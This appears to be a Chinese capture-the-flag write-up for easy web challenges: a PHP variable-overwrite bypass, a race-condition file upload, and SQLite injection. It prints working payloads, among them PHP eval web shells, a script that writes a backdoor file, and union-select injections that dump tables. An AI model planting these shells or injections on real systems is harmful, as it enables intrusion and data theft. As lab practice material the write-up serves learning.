Polar春季个人挑战赛WEB简单部分

The Gift

复制代码
<?php
  include 'config.php';

highlight_file(__FILE__);
error_reporting(0);

class ConfigModel {
  public $apiKey = ''; #存放生成的随机 Key
  public $isAdmin = false; #管理员权限标识,初始为 false
  public $requestTime = 0;

  public function __construct() {
    $this->requestTime = time();
    $this->apiKey = md5($_SERVER['REMOTE_ADDR'] . rand(1, 99999) . "S4ltY_String");
    #使用 IP + 随机数 + 盐值生成 MD5,理论上很难暴力破解
  }

  public function validateApiKey($inputKey) {
    if ($inputKey === $this->apiKey) {
      $this->isAdmin = true;
      # 只有 Key 正确,才会设置为 true
      return true;
    }
    return false;
  }
}

$config = new ConfigModel();

$requestData = array_merge($_GET, $_POST);
#合并 GET 和 POST 请求的数据
foreach ($requestData as $key => $value) {
  $$key = $value;
  #可变变量赋值
}

if (isset($user_api_key)) {
  $config->validateApiKey($user_api_key);
}

if (is_array($config) && isset($config['isAdmin']) && $config['isAdmin'] === 'true') {
  die("Success" . $FLAG);
} else {
  echo "<br>Access Denied.";
}
?>
Access Denied.
复制代码
在 PHP 中,$config->isAdmin(访问对象属性)和 $config['isAdmin'](访问数组键值)是完全不同的
原本类定义里 isAdmin 是布尔值 false
但最后的 if 语句却要求 $config 必须是数组,且其值必须是字符串 'true'。
既然代码要求 $config 是数组,而我们又拥有"变量覆盖"的能力
我们直接把 $config 覆盖成它想要的数组即可
  payload:
config[isAdmin]=true

并发上传

复制代码
争用条件是一种常见的漏洞类型,与业务逻辑缺陷密切相关
当网站在没有足够保护措施的情况下同时处理请求时,就会发生这种情况
这可能导致多个不同的线程同时与相同的数据进行交互,从而导致"冲突",从而导致应用程序中出现意外行为
争用条件攻击使用精心定时的请求来造成故意冲突,并利用这种意外行为来达到恶意目的

根据题目可知这是一道条件竞争题目

复制代码
GIF89a
<?=eval($_REQUEST['cmd']);?>

尝试第一种payload能上传但是不能查看,我们直接开始条件竞争

复制代码
<?php fputs(fopen("cmd.php","w"),'<?php @eval ($_POST["cmd"]); ?>'); ?>

同样进行配置

upload/shell.php

看到返回200即可

我们进行蚁剑连接

注意我们构造的payload用的是cmd.php

shell.php只是用来写入的,不要搞错了

成功获取flag

经过测试存在SQL注入

如何确定为什么数据库

|----------------|----------------------------------|------------------------------------------|
| 数据库类型 | 测试 Payload | 说明 |
| SQLite | sqlite_version() | 只有 SQLite 识别这个函数 |
| MySQL | version()@@version | 虽然 Postgres 也用 version(),但 MySQL 常用 @@ |
| PostgreSQL | version() | 返回包含 "PostgreSQL" 字样的详细字符串 |
| MSSQL | @@version | 典型的 Microsoft SQL Server 标识 |
| Oracle | (select banner from v$version) | Oracle 语法较严苛,通常需要 from dual |

确定为sqlite数据库

复制代码
' union select 1,group_concat(tbl_name),3 from sqlite_master where type='table'--+

看不了列名,盲猜为flag

复制代码
' union select 1,flag,3 from flaggggggggggg--+
相关推荐
你很易烊千玺13 分钟前
日常练习-数组 字符串常用的场景
前端·javascript·字符串·数组
simplepeng1 小时前
我通过3个小改动将Compose重组减少了78%
android
weixin199701080161 小时前
[特殊字符] RESTful API 接口规范详解:构建高效、可扩展的 Web 服务(附 Python 源码)
前端·python·restful
存在的五月雨1 小时前
Vue3项目一些语法
前端·javascript·react.js
应用市场1 小时前
Android分区表深度解析:GPT、各分区作用与布局实战
android·gpt
nashane2 小时前
HarmonyOS 6学习:Web组件同层渲染事件处理与智能长截图实现
前端·学习·harmonyos·harmonyos 5
大家的林语冰2 小时前
Node 2026 发布,JS 三大新功能上线,最后一个奇偶版本
前端·javascript·node.js
nashane2 小时前
HarmonyOS 6学习:Web组件同层渲染触摸事件与长截图拼接实战
前端·学习·harmonyos·harmonyos 5
应用市场2 小时前
Android Recovery 模式工作原理与定制实战
android